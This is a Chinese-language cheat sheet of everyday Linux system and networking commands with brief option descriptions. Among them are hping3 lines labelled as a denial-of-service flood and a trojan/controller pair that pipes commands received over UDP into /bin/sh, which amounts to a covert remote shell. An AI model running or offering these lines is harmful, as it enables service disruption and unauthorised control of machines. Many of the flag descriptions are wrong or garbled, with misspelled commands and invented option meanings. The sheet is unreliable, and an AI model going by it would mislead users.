02_常用Linux命令

Linux命令：

service --status -all start/restart                           【服务状态】

pstree -a【进程派生关系】-l【显示树状图】-h【列数列图】-u【显示用户名】-n【显示程序识别码】

systemctl enable/disable httpd.service        【使某个服务启用/不启用】

systemctl status httpd.service                      【服务详细信息】

system list-units --type=service                    【显示所有已经启用的服务】

iptables -A INPUT -p tcp --dport 22/80 -j ACCEPT                    【允许访问22/80端口】

systemctl start/stop/restart httpd.service                      【启用/停用/重启某服务】

sudo systemctl start/stop/disable firewalld.service      【开启/关闭/彻底关闭防火墙】

halt -p【关闭系统】 -d【关闭系统不保留】

reboot【重启】 -w【模拟重启】

shutdown -h【关机】 -r【重启】

poweroff -f【强制关机】 -i【关闭网络接口】

wget http://path/file.zip【单个文件下载】-c【断点下载】-b【后台下载】-i【下载多个文件】

Telnet -a【自动登入远程系统】-k【不自动登录系统】-L【用户名】

rexec -p 【密码】 -n【明确的输入用户名密码】

iptraf -i【开启流量监视】 -g【网络接口信息】-d【开启流量监视信息】-z【显示包计数

-s【UDP TCP流量信息】-l【监视工作站信息】-t【监视信息】

nstat -h【帮助信息】-v【显示版本信息】-d【守护进程的方式执行命令】

lnstat     【Linux的方式】

ss -t -a【显示ICP链接】-s【显示sockets】-l【显示打开网络接口】-pl【显示进程使用】

-u -a【显示UDP】-a【显示所有的套接字】-i【显示内部TCP信息】-d【显示DDCP】

tcpdump -a【转换广播协议】-f【数字显示】-x【十六进制读取数据】-l【列出缓冲区】

-i ethO【抓包】host IP【截取IP数据包】-i ethO host name【截取主机数据】

tcpdump -tcp port 23 host ip                       【监视制定数据包】

hping3 -S -c 1000000 -a ip -p ip                             【防火墙测试】

hping3 -i ethO -aip -S ip -p 80 -i u1000         【拒绝服务攻击】

hping3 192.168.10.66--listen signature --safe --udp -p 53 | /bin/sh         【木马端】

echo ls >test.cmd hping3 192.168.10.44 -p53 -d 100 --udp --sign siganature --file ./test.cmd【远程控制端】

host -a【详细DNS信息】-c【SOA记录】-t【域名信息类型】-v【详细执行信息】

nslookup 网站【域名查找】

arping 网站 -b【以太网广播帧】

dig -p【域名端口号】-x【逆向解析】

arp -a【显示缓冲区】-rl【指定使用类型】-D【硬件接口地址】-E【Linux显示条目】

-n【数字方式显示条目】-v【显示详细信息】-f【主机IP与Mac映射】

traceroute -i【ICMP取代UDP】-p【UDP端口】-n【使用IP地址】-x【开启关闭数据包】

netstat -a【列出所有端口】-au【UDP端口】-lt【tcp端口】-lx 【Unix端口】-st【tcp端口】

-pt         【PID进程】-C【路由表信息】-at【tcp端口】-l 【监听端口】-lu【UDP端口监听】

-s【端口详细信息】-su【UDP端口】-c【列出网络状态】-f【显示FIB】